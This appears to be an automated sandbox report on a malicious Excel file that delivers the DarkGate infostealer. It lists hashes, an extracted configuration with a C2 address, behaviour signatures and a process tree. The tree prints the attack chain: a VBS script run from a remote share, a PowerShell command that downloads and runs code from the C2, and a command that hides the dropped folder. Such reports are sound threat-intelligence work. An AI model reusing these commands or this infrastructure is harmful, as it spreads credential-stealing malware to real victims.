Resubmissions

12-08-2024 11:37

240812-nrfehstcqg 1

10-04-2024 11:48

240410-nyw1vahg2x 10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-04-2024 11:48

General

  • Target

    statapril2024-7660.xlsx

  • Size

    56KB

  • MD5

    ea31e71d72077ff13d6e8a1078e9d8dc

  • SHA1

    eedbcfaaef25079d16483da44fc579bf3733733f

  • SHA256

    5a7c4b8d40cd4d7c06f11d4226edd65b734f4a24a1158c5926add4993863f09e

  • SHA512

    e27fb2b995ecdd9039759f6812653106d3ca2be19ee192fdba95083f36f2ea2f9d82ac5338c18fa564d4340fe18482e1aef06b6ca3197f51d08447e62de17fa9

  • SSDEEP

    768:ZFnM1dDlT2qpaOKFSGOJdGvoZCPAUJ1YxBardD2TSWGdCIKD15ogXnlq5gR:/mZ2u4OPKIxoEuDKJnlnR

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

103.124.106.237

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    bedxvHpr

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\statapril2024-7660.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2340
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1508
        • C:\kady\AutoHotkey.exe
          "C:\kady\AutoHotkey.exe" C:/kady/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4560
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/kady/
          4⤵
          • Views/modifies file attributes
          PID:3876

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bqskrz21.oxs.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\kady\AutoHotkey.exe

    Filesize

    892KB

    MD5

    a59a2d3e5dda7aca6ec879263aa42fd3

    SHA1

    312d496ec90eb30d5319307d47bfef602b6b8c6c

    SHA256

    897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

    SHA512

    852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

  • C:\kady\script.ahk

    Filesize

    441B

    MD5

    958cd4a849145b96e92e63ef4e152349

    SHA1

    19d79b480294e7c329c19faf87fc5e3320268caa

    SHA256

    8e7070383517cc127dfff26a726a47fc48a9169591e29c8d16df6fdd6d2c591e

    SHA512

    7852834cf31f55c6d97fdc204b59b8177d336c1f5ee1a14ae880e34c3e8c407953f1722274c040c93c5ac978f1a6ddb9d4a1b5019b6d3a99dd081440528210a0

  • C:\kady\test.txt

    Filesize

    922KB

    MD5

    8ed12b37b69693e66f928cd39fc21c6c

    SHA1

    2ee8c14330d38f3ba3c23e4bb56c05b29191ff03

    SHA256

    70223ac25fecd28385f39f36367f93b045c312f062354497dd2702e7d295784d

    SHA512

    50daf960cd89efe9b562db00177f27f3ba9e0929be830406857d9879a49c58f62d5d03c1b01c83104f47784da02b2cc2fab28c9b653e1a1861d4b319271e2795

  • memory/1508-68-0x00007FFA27290000-0x00007FFA27D51000-memory.dmp

    Filesize

    10.8MB

  • memory/1508-49-0x00000258661B0000-0x0000025866372000-memory.dmp

    Filesize

    1.8MB

  • memory/1508-47-0x0000025865A90000-0x0000025865AA0000-memory.dmp

    Filesize

    64KB

  • memory/1508-48-0x0000025865A90000-0x0000025865AA0000-memory.dmp

    Filesize

    64KB

  • memory/1508-46-0x00007FFA27290000-0x00007FFA27D51000-memory.dmp

    Filesize

    10.8MB

  • memory/1508-39-0x000002584D920000-0x000002584D942000-memory.dmp

    Filesize

    136KB

  • memory/4352-9-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-35-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-12-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-13-0x00007FFA0E0C0000-0x00007FFA0E0D0000-memory.dmp

    Filesize

    64KB

  • memory/4352-14-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-15-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-16-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-17-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-18-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-19-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-20-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-22-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-21-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-10-0x00007FFA0E0C0000-0x00007FFA0E0D0000-memory.dmp

    Filesize

    64KB

  • memory/4352-11-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-0-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

    Filesize

    64KB

  • memory/4352-8-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-7-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

    Filesize

    64KB

  • memory/4352-6-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-4-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-5-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

    Filesize

    64KB

  • memory/4352-2-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

    Filesize

    64KB

  • memory/4352-3-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

    Filesize

    2.0MB

  • memory/4352-1-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

    Filesize

    64KB

  • memory/4560-70-0x0000000004AC0000-0x0000000004B34000-memory.dmp

    Filesize

    464KB

  • memory/4560-72-0x0000000004AC0000-0x0000000004B34000-memory.dmp

    Filesize

    464KB